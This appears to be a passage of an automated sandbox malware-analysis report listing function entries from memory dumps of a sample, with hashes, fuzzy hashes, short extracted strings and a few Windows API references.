Opcode ID: 303380a3ba431971edc7accb1c86ba1c91ef9e3284546b6cab89a74902c44125
Instruction ID: 2906c8389c75c2c9bb75bc9487a9013a33ad1cdf5795211ea52a7f6094b9b6eb
Opcode Fuzzy Hash: 303380a3ba431971edc7accb1c86ba1c91ef9e3284546b6cab89a74902c44125
Instruction Fuzzy Hash: 73D19070D0524ADFCB08DF95C8849AEFBB2FF88300B15D565D516AB254D734EA82CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 051F9990 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

tIh, xrefs: 051F9D45

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: e6b80868a2d09ecca5b2133a0b095b2119f23386bfc83481e26f2571c06fb889
Instruction ID: a3f391a9a57480cdd2bbe724d4817438e8a2bf5c4df1ffdb1337454aa9acb374
Opcode Fuzzy Hash: e6b80868a2d09ecca5b2133a0b095b2119f23386bfc83481e26f2571c06fb889
Instruction Fuzzy Hash: 79D16C70E0520ADFDB08DF99C4849AEFBB2FF88340B11D555D516AB364D734AA82CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 051FC9E8 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24fd6543d8e7921ed3a7d8758288f19a9f8fcc7eafed7a6b1f0a9fd4026a3ae5
Instruction ID: 14ab6812ceed1acaf7014045ca8e9c057443083e2604bf23c36435498bd2348d
Opcode Fuzzy Hash: 24fd6543d8e7921ed3a7d8758288f19a9f8fcc7eafed7a6b1f0a9fd4026a3ae5
Instruction Fuzzy Hash: 7F914870D1A20CDFDB18CFA9D58099DFBB2FB89314F24A42AE106BB264D7349941DF64

Uniqueness

Uniqueness Score: -1.00%

Function 051FC9D9 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f73293837db38d20fca3e80e8bba6abdd0a5487996d9eebbc7e2444cc79b16b
Instruction ID: 6a2bff5f361ff430377928a296163b82b142b2dbe503f94a8084424e20af4718
Opcode Fuzzy Hash: 4f73293837db38d20fca3e80e8bba6abdd0a5487996d9eebbc7e2444cc79b16b
Instruction Fuzzy Hash: 15915870D1A208DFDB08CFA9D58099DFBB2FF89300F24A42AE106B7264D7349941DF64

Uniqueness

Uniqueness Score: -1.00%

Function 051FC6D0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ba93219166e16bd62d28f10f732b18d4fbba138085d5b19ce56a835b8f311d3
Instruction ID: 8edc0ccff6f2ddaf14dd576479d5cab5eba21065f0eba9e686c4d1c996766f6d
Opcode Fuzzy Hash: 0ba93219166e16bd62d28f10f732b18d4fbba138085d5b19ce56a835b8f311d3
Instruction Fuzzy Hash: B7810374E09219DFDB04DFA9D9809EEFBB2FB88300F10AA5AD506B7254D7349942CF94

Uniqueness

Uniqueness Score: -1.00%

Function 051FC6C1 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48c3702f222db0badbde3f6b7c38afa2dfe47aaafc7ef52aaba4ff311092d7a2
Instruction ID: 43668a20f0539d7822c1f6a02358d75e0f2799dce598938735fe1214589c72f1
Opcode Fuzzy Hash: 48c3702f222db0badbde3f6b7c38afa2dfe47aaafc7ef52aaba4ff311092d7a2
Instruction Fuzzy Hash: 89812374E05219CFDB04DFA9C9809EEFBB2FB88300F00AA2AD501A7254D7389942CF94

Uniqueness

Uniqueness Score: -1.00%

Function 051F8AE0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519c1563974d952e76c7e79f604eab5f642c3bdabf00398c03748c558fcf79de
Instruction ID: 4a7743afcfb07c74d4662bdfc97e9cdc32de5fc35c9a6ce5de802f03cd368620
Opcode Fuzzy Hash: 519c1563974d952e76c7e79f604eab5f642c3bdabf00398c03748c558fcf79de
Instruction Fuzzy Hash: 4E21F8B1E016189BEB18CF9BD8446DEFBF3AFC8310F14C07AD509A6258DB741A86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 051F8AD2 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a89250a026cef82e6834c1f16249588ee749399e46a14e80b87806dfc0a13d9
Instruction ID: bfb5edf711e844774f9c2a7f673ed52f3825d8921cef21cae1fc70ce09734d80
Opcode Fuzzy Hash: 5a89250a026cef82e6834c1f16249588ee749399e46a14e80b87806dfc0a13d9
Instruction Fuzzy Hash: D121CAB1E016589BEB18CF9BC94569EFBF3AFC8310F14C179D409A6258DB741A86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 051F49EE Relevance: 16.6, Strings: 13, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fjq, xrefs: 051F4AE8
fjq, xrefs: 051F50D8
XXeq, xrefs: 051F4D4A
XXeq, xrefs: 051F4CBD
XXeq, xrefs: 051F4D5A
$eq, xrefs: 051F507B
fjq, xrefs: 051F4A71
fjq, xrefs: 051F4A97
XXeq, xrefs: 051F4D7E
fjq, xrefs: 051F4ADC
XXeq, xrefs: 051F4C78
fjq, xrefs: 051F4A7D
Teeq, xrefs: 051F4C10

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: fjq$ fjq$ fjq$ fjq$ fjq$ fjq$Teeq$XXeq$XXeq$XXeq$XXeq$XXeq$$eq
API String ID: 0-1770534105
Opcode ID: 2e8f54f1766ec0c54980d9cf08316d046be227ab4240dba418c6a7a85726e5e2
Instruction ID: 019a25c7cdbdcf9f3195cea6aadde22975a3a0054a98f002d60e9f050b3bbf29
Opcode Fuzzy Hash: 2e8f54f1766ec0c54980d9cf08316d046be227ab4240dba418c6a7a85726e5e2
Instruction Fuzzy Hash: 0DE15D74B04248CFDB14DFA8C454BBEBBB3BF84700F658465E606AB299DB749C81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 051F3530 Relevance: 15.5, Strings: 12, Instructions: 484COMMON

Download Yara Rule

Strings

$eq, xrefs: 051F3A0A
Teeq, xrefs: 051F3827
$eq, xrefs: 051F39FE
$eq, xrefs: 051F3ABA
Teeq, xrefs: 051F3679
Teeq, xrefs: 051F37CC
Teeq, xrefs: 051F37DC
Teeq, xrefs: 051F35CA
$eq, xrefs: 051F3AAE
Teeq, xrefs: 051F3578
Teeq, xrefs: 051F3726
Teeq, xrefs: 051F3817

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq$Teeq$Teeq$Teeq$Teeq$Teeq$Teeq$Teeq$$eq$$eq$$eq$$eq
API String ID: 0-314014371
Opcode ID: 7cf6a029dbdfaffec0a4989099f22ad0ccf89ccebaa0fa376e056f3219e216a8
Instruction ID: 358d59d8e0e2aa52e53e749f7046c33ac959423c33d6b9992261b70294b789dd
Opcode Fuzzy Hash: 7cf6a029dbdfaffec0a4989099f22ad0ccf89ccebaa0fa376e056f3219e216a8
Instruction Fuzzy Hash: BE02A074B01208DFDB19DB68D859BBE7AB3BF84710F148925E612AB3D4CB749C81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 051F4D93 Relevance: 15.3, Strings: 12, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fjq, xrefs: 051F50D8
$eq, xrefs: 051F4FA0
fjq, xrefs: 051F4F5D
$eq, xrefs: 051F507B
$eq, xrefs: 051F4F94
$eq, xrefs: 051F4F80
Teeq, xrefs: 051F4DBE
XXeq, xrefs: 051F4DB0
fjq, xrefs: 051F4F4D
$eq, xrefs: 051F4E61
$eq, xrefs: 051F4F72
Teeq, xrefs: 051F4DCA

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: fjq$ fjq$ fjq$Teeq$Teeq$XXeq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-2906940812
Opcode ID: 5eb892547c6f8d17f72aaaf47dc312be79cc9081e88c3fbd7ffee1436fd2cae5
Instruction ID: b648b34c73253e17df11dd89d27a19e8c4b7ce8226e6fab9ca31b9ed7a0a33a1
Opcode Fuzzy Hash: 5eb892547c6f8d17f72aaaf47dc312be79cc9081e88c3fbd7ffee1436fd2cae5
Instruction Fuzzy Hash: 5FA16274B04228DFDB28CF98C844A7EB7B3BF84701F268565E6069F295D7749C81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 051F4DAC Relevance: 10.2, Strings: 8, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fjq, xrefs: 051F50D8
$eq, xrefs: 051F507B
$eq, xrefs: 051F4F94
Teeq, xrefs: 051F4DBE
XXeq, xrefs: 051F4DB0
fjq, xrefs: 051F4F4D
$eq, xrefs: 051F4E61
$eq, xrefs: 051F4F72

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: fjq$ fjq$Teeq$XXeq$$eq$$eq$$eq$$eq
API String ID: 0-2400119280
Opcode ID: 0167fbefc8c6965c2b301b9e75a1e7b53365c127b4445aeccbcb200b0c310b11
Instruction ID: 3d9dc7b938c0509ebaf0608dc3f02da1df32a72b41f395c74b301e80412974d2
Opcode Fuzzy Hash: 0167fbefc8c6965c2b301b9e75a1e7b53365c127b4445aeccbcb200b0c310b11
Instruction Fuzzy Hash: F1916075A04218DFDB28CF98C844ABEB7B3FF40701F168566E6069F295D7749C81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 051F3E00 Relevance: 10.1, Strings: 8, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LReq, xrefs: 051F45F3
], xrefs: 051F412F
8iq, xrefs: 051F401D
LReq, xrefs: 051F46DF
8iq, xrefs: 051F400D
$eq, xrefs: 051F4718
$eq, xrefs: 051F443B
8iq, xrefs: 051F3FCA

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: 8iq$8iq$8iq$LReq$LReq$]$$eq$$eq
API String ID: 0-3448090565
Opcode ID: f6b8a60c81bd4b88c6bb94d0dcef5494838257fdd8b77962b115d6c37b04177e
Instruction ID: c72657e3c4d4a9cd94ef877682ae152e7806295134ec6995125eb1dd0276ac57
Opcode Fuzzy Hash: f6b8a60c81bd4b88c6bb94d0dcef5494838257fdd8b77962b115d6c37b04177e
Instruction Fuzzy Hash: F0113671E10254EFD754AB7998067AEBFB2EF88310F004D26E615E73C2DB385981CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 051F3521 Relevance: 9.2, Strings: 7, Instructions: 420COMMON

Download Yara Rule

Strings

$eq, xrefs: 051F39FE
Teeq, xrefs: 051F37CC
Teeq, xrefs: 051F35CA
$eq, xrefs: 051F3AAE
Teeq, xrefs: 051F3578
Teeq, xrefs: 051F3726
Teeq, xrefs: 051F3817

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq$Teeq$Teeq$Teeq$Teeq$$eq$$eq
API String ID: 0-3195343334
Opcode ID: edb65d718027f2523182a8ff72be3ef7304dc76d9347c2e8ff855c91d6c281a2
Instruction ID: d9eb589126a83802f870eb966bf888976a5fd2021cd66d4ddd18a62bd33ccd80
Opcode Fuzzy Hash: edb65d718027f2523182a8ff72be3ef7304dc76d9347c2e8ff855c91d6c281a2
Instruction Fuzzy Hash: 8DF1BD74B01204DFEB18DB68D859BBE7AB3BF84711F148925E612AB3D4CB749C81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02ABAE30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02ABB086

Strings

,O, xrefs: 02ABAFE3
,O, xrefs: 02ABAFBE

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: HandleModule
String ID: ,O$,O
API String ID: 4139908857-201552661
Opcode ID: 639504678254f14c6ae742eb1cfd7cd9a0f4a63c8bf3d1da57a98538161bd959
Instruction ID: e8df084df707e85e6ef1cdb4d1137d042d0b9858a1b2021b0577a6bad7802300
Opcode Fuzzy Hash: 639504678254f14c6ae742eb1cfd7cd9a0f4a63c8bf3d1da57a98538161bd959
Instruction Fuzzy Hash: 687138B0A00B058FDB25DF69D58579ABBF5FF48304F00892ED48AD7A42DB35E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 051F342B Relevance: 5.3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 051F39FE
Teeq, xrefs: 051F37CC
$eq, xrefs: 051F3AAE
Teeq, xrefs: 051F3817

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq$Teeq$$eq$$eq
API String ID: 0-1316153869
Opcode ID: ce37bd634eb867477c0514ec82b7a3f5dd9422ce7e8f2b176b9fb15ab6ef2803
Instruction ID: 6ed71c38ce3d87b7784ea1745f23b0cb2ec4bd1c86ec282fd0bd7ad447e3f4e1
Opcode Fuzzy Hash: ce37bd634eb867477c0514ec82b7a3f5dd9422ce7e8f2b176b9fb15ab6ef2803
Instruction Fuzzy Hash: 4AA1AF74B05208EFDB29DB68D859BBD7BB3BF44710F158925E612AB2D0CB748C81CB21

Uniqueness

Uniqueness Score: -1.00%

Function 051F3852 Relevance: 2.7, Strings: 2, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 051F39FE
$eq, xrefs: 051F3AAE

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: c1618ad3c89485995503443ef7ead7ca358be8647e825db10c45c796cf8f6c56
Instruction ID: b0ea882ad4360e6d121e0b95d91ab47719cabfac6356d0052de3cf6715329dc6
Opcode Fuzzy Hash: c1618ad3c89485995503443ef7ead7ca358be8647e825db10c45c796cf8f6c56
Instruction Fuzzy Hash: C5919F74B05208EBEB15DB64D459BBD7BB3BF84710F148929F612AB2D0CB748C81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 051F391E Relevance: 2.7, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$eq, xrefs: 051F39FE
$eq, xrefs: 051F3AAE

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: $eq$$eq
API String ID: 0-2246304398
Opcode ID: e5aca7ab1c72bbd7fe65b5e893be70f9040301911c76856b0c7a2b11bd057eb0
Instruction ID: d157c63e27989626af23b762ad35a8833a0d1e9ac9c710142da46b1dbad5a705
Opcode Fuzzy Hash: e5aca7ab1c72bbd7fe65b5e893be70f9040301911c76856b0c7a2b11bd057eb0
Instruction Fuzzy Hash: 97718074B012089BEB159B74D859BAE7AB3BF84710F248425F616AB3C4CB709C81CB61

Uniqueness

Uniqueness Score: -1.00%

Function 051F9FD0 Relevance: 2.6, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3H5, xrefs: 051FA06E
3H5, xrefs: 051FA060

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: 3H5$3H5
API String ID: 0-2752242361
Opcode ID: c3b73fe4ff921d0ce8a664c4cd2b0ff5a7fec0ab8ab48c938ffb0a657027898b
Instruction ID: 18778e6abc2fd5961601f617bb72047e2e41e4edb098a9e06b003c274ed840a3
Opcode Fuzzy Hash: c3b73fe4ff921d0ce8a664c4cd2b0ff5a7fec0ab8ab48c938ffb0a657027898b
Instruction Fuzzy Hash: 1F214AB0D11209DFCB48CFA9D440AAEFBF1FF89300F10C56AD609A7250E7349A45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02AB449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02AB59C9

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8730840ca7dd4f2721409a09cd0543370768d6dd7ed0f524f4ad323c33b59f1d
Instruction ID: bc5f504a293a2b54147cbb8e63f756eb3e0dd1ed33773a6c55e506d42a62d9a3
Opcode Fuzzy Hash: 8730840ca7dd4f2721409a09cd0543370768d6dd7ed0f524f4ad323c33b59f1d
Instruction Fuzzy Hash: 8141CEB0C0071DCBDB25CFA9C884ADEBBB9BF49304F60816AD509AB251DB756949CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02AB590C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02AB59C9

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 25a4a242c893c46945cd344f198632c794e0fcbc2e448c121c9cda079ff131f6
Instruction ID: fce9c5f5c76de85e7f6931aae55f39171270c18a75d0a8b71cc6f7bf34d96e4f
Opcode Fuzzy Hash: 25a4a242c893c46945cd344f198632c794e0fcbc2e448c121c9cda079ff131f6
Instruction Fuzzy Hash: 45410FB0C00719CADB25CFA9C884BCDFBB5BF4A314F64815AD408BB2A1DB712949CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02ABA858 Relevance: 1.6, APIs: 1, Instructions: 85libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02ABB101,00000800,00000000,00000000), ref: 02ABB312

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 57a6aa18bfbdea23a313316c83df4bc02573dc94a3978654d48e8fc83c880e1e
Instruction ID: 11c2a17f339abf0d68939516a35eb7275a9d17d3e19f6179d4a08f0c5aed5880
Opcode Fuzzy Hash: 57a6aa18bfbdea23a313316c83df4bc02573dc94a3978654d48e8fc83c880e1e
Instruction Fuzzy Hash: BF31E0B68043488FDB12CFAAC8806EEBFF8EF59314F45849AD454A7212C7389505CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02ABC9A0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02ABD2C6,?,?,?,?,?), ref: 02ABD387

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4eee2183060357587d8880cbaba7cbe83056067a99b6b3967017b487d07e3a27
Instruction ID: 931ba3df19d1868ae4b012dda767ce5fbd7b92d00722a27e8ae29da448dff9f0
Opcode Fuzzy Hash: 4eee2183060357587d8880cbaba7cbe83056067a99b6b3967017b487d07e3a27
Instruction Fuzzy Hash: 132103B5900208DFDB10CF9AD984ADEBBF8EB48310F14845AE918A3311C378A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02ABD2F9 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02ABD2C6,?,?,?,?,?), ref: 02ABD387

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 091c91c31b9495d867de56aafb4f05d0023e84a802c6a0c2d74a9c586e945dd6
Instruction ID: 25f74a5f45caef0987475cc49a8b4d6419d164e44bdca17cea032e9a5511d6ea
Opcode Fuzzy Hash: 091c91c31b9495d867de56aafb4f05d0023e84a802c6a0c2d74a9c586e945dd6
Instruction Fuzzy Hash: 8021E0B5900209DFDB11CFAAD985ADEBBF8EB48320F14845AE918B3251C378A954CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02ABA870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02ABB101,00000800,00000000,00000000), ref: 02ABB312

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6baf584d6e76182e293713c458e8a87264e971b9a3ac8cedd047174e4a269732
Instruction ID: 44f7b3e5abd57e0dea109c56de9bb909c6022d955b2f7e8fc291f4618db763aa
Opcode Fuzzy Hash: 6baf584d6e76182e293713c458e8a87264e971b9a3ac8cedd047174e4a269732
Instruction Fuzzy Hash: 911114B6D003498FCB11CF9AC884ADEFBF8EF88314F10846AD919A7601C775A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02ABB2A1 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02ABB101,00000800,00000000,00000000), ref: 02ABB312

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ca84af0bbecccc6347429cce64344ad41c98ebe4a27918c125a1e2511aeba159
Instruction ID: 548da3ce78e21c6a94d756b766cb6e50f4c473b5ffeae7adb00e39c5f8b98689
Opcode Fuzzy Hash: ca84af0bbecccc6347429cce64344ad41c98ebe4a27918c125a1e2511aeba159
Instruction Fuzzy Hash: 961133B68002498FCB11CFAAC984ADEFBF8EF48314F14855AD829A7641C374A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02ABB019 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02ABB086

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4ff6f78cdb0c89995d197314f3185a7b0347464123bb83a9c5afc3201164e0df
Instruction ID: 98307926f1d413ffa9ca4dda77e8fa9f5bf30306e5eb3700c13e2b98b1393f16
Opcode Fuzzy Hash: 4ff6f78cdb0c89995d197314f3185a7b0347464123bb83a9c5afc3201164e0df
Instruction Fuzzy Hash: 081112B6C04349CFDB11CFAAC944BDEFBF4AF48214F14845AC469A7611C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02ABB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02ABB086

Memory Dump Source

Source File: 00000009.00000002.2093654410.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2ab0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 913be3ffc60aefcadac33952be51e4102ef190d806f244b717cdacc4b0f5ea6a
Instruction ID: 0f34090e50d7e37702591b9c23d0fac85eb405c818e8479e4464a150e05ccb18
Opcode Fuzzy Hash: 913be3ffc60aefcadac33952be51e4102ef190d806f244b717cdacc4b0f5ea6a
Instruction Fuzzy Hash: 5C1102B6C003498FCB20CF9AC844ADEFBF8EF88214F10841AD829A7611C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 051F0C50 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

Teeq, xrefs: 051F0DB1

Memory Dump Source

Source File: 00000009.00000002.2099321204.00000000051F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_51f0000_CNqCubHKvlzbGo.jbxd

Similarity

API ID:
String ID: Teeq
API String ID: 0-348098666
Opcode ID: 947ec273001afc28bc4c7728cbfd1c8c2011040a750f1aa7416080c17d0ffdb6
